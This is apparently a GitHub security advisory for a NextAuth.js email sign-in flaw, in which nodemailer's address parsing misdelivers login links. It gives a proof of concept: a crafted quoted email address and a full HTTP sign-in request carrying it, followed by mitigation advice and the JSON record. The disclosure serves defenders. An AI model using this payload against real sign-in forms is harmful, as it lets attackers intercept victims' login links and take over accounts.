GHSA-5JPX-9HW9-2FX4

Vulnerability from github – Published: 2025-10-29 10:43 – Updated: 2025-10-29 10:43
VLAI
Summary
NextAuthjs Email misdelivery Vulnerability
Details

Summary

NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in nodemailer's address parser used by the project (fixed in nodemailer v7.0.7). A crafted input such as:

"e@attacker.com"@victim.com

is parsed incorrectly and results in the message being delivered to e@attacker.com (attacker) instead of "<e@attacker.com>@victim.com" (the intended recipient at victim.com) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.

Affected NextAuthjs Version

≤ Version Afftected
4.24.11 Yes
5.0.0-beta.29 Yes

POC

Example Setup showing misdelivery of email 

import NextAuth from "next-auth"
import Nodemailer from "next-auth/providers/nodemailer"
import { PrismaAdapter } from "@auth/prisma-adapter"
import { prisma } from "@/lib/prisma"

export const { handlers, auth, signIn, signOut } = NextAuth({
  adapter: PrismaAdapter(prisma),
  providers: [
    Nodemailer({
      server: {
        host: "127.0.0.1",
        port: 1025,
        ...
      },
      from: "noreply@authjs.dev",
    }),
  ],
  pages: {
    signIn: '/auth/signin',
    verifyRequest: '/auth/verify-request',
  },
})


POST /api/auth/signin/nodemailer HTTP/1.1
Accept-Encoding: gzip, deflate, br, zstd
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 176
DNT: 1
Host: localhost:3000
Origin: http://localhost:3000
Pragma: no-cache
Referer: http://localhost:3000/auth/signin
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
accept: */*
accept-language: en-US,en;q=0.9,ta;q=0.8
content-type: application/x-www-form-urlencoded
sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
x-auth-return-redirect: 1

email=%22e%40attacker.coccm%22%40victim.com&csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a&callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2Fsignin

Screenshot from 2025-10-25 21-15-25 Screenshot from 2025-10-25 21-14-47

Mitigation

Update to nodemailer 7.0.7

Credits

https://zeropath.com/ Helped identify this security issue

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "next-auth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.24.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next-auth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-beta.0"
            },
            {
              "fixed": "5.0.0-beta.30"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-29T10:43:57Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nNextAuth.js\u0027s email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in `nodemailer`\u0027s address parser used by the project (fixed in `nodemailer` **v7.0.7**). A crafted input such as:\n\n```\n\"e@attacker.com\"@victim.com\n```\n\nis parsed incorrectly and results in the message being delivered to `e@attacker.com` (attacker) instead of `\"\u003ce@attacker.com\u003e@victim.com\"` (the intended recipient at `victim.com`) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.\n\n\u003ch2\u003eAffected NextAuthjs Version\u003c/h2\u003e\n\n\u2264 Version | Afftected\n-- | --\n4.24.11 | Yes\n5.0.0-beta.29 | Yes\n\n\n## POC\n\nExample Setup showing misdelivery of email \n\n```jsx\nimport NextAuth from \"next-auth\"\nimport Nodemailer from \"next-auth/providers/nodemailer\"\nimport { PrismaAdapter } from \"@auth/prisma-adapter\"\nimport { prisma } from \"@/lib/prisma\"\n\nexport const { handlers, auth, signIn, signOut } = NextAuth({\n  adapter: PrismaAdapter(prisma),\n  providers: [\n    Nodemailer({\n      server: {\n        host: \"127.0.0.1\",\n        port: 1025,\n        ...\n      },\n      from: \"noreply@authjs.dev\",\n    }),\n  ],\n  pages: {\n    signIn: \u0027/auth/signin\u0027,\n    verifyRequest: \u0027/auth/verify-request\u0027,\n  },\n})\n\n```\n\n```jsx\nPOST /api/auth/signin/nodemailer HTTP/1.1\nAccept-Encoding: gzip, deflate, br, zstd\nCache-Control: no-cache\nConnection: keep-alive\nContent-Length: 176\nDNT: 1\nHost: localhost:3000\nOrigin: http://localhost:3000\nPragma: no-cache\nReferer: http://localhost:3000/auth/signin\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36\naccept: */*\naccept-language: en-US,en;q=0.9,ta;q=0.8\ncontent-type: application/x-www-form-urlencoded\nsec-ch-ua: \"Google Chrome\";v=\"141\", \"Not?A_Brand\";v=\"8\", \"Chromium\";v=\"141\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"Linux\"\nx-auth-return-redirect: 1\n\nemail=%22e%40attacker.coccm%22%40victim.com\u0026csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a\u0026callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2Fsignin\n```\n\n\u003cimg width=\"1247\" height=\"1408\" alt=\"Screenshot from 2025-10-25 21-15-25\" src=\"https://github.com/user-attachments/assets/456968a3-14ce-42b4-b8ca-f25b9351cf0f\" /\u003e\n\u003cimg width=\"1279\" height=\"1450\" alt=\"Screenshot from 2025-10-25 21-14-47\" src=\"https://github.com/user-attachments/assets/4e665b66-9bfe-43ce-abd3-97880972218f\" /\u003e\n\n# Mitigation\n\nUpdate to nodemailer 7.0.7\n\n## Credits\n\nhttps://zeropath.com/  Helped identify this security issue",
  "id": "GHSA-5jpx-9hw9-2fx4",
  "modified": "2025-10-29T10:43:58Z",
  "published": "2025-10-29T10:43:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nextauthjs/next-auth/security/advisories/GHSA-5jpx-9hw9-2fx4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nextauthjs/next-auth/commit/82efcf81f218aae43683f8dd2f7c260ef69b3ece"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nextauthjs/next-auth/commit/8f3b2c7af0fe08973a12f616517c3ec85a5cd172"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nextauthjs/next-auth"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NextAuthjs Email misdelivery Vulnerability"
}



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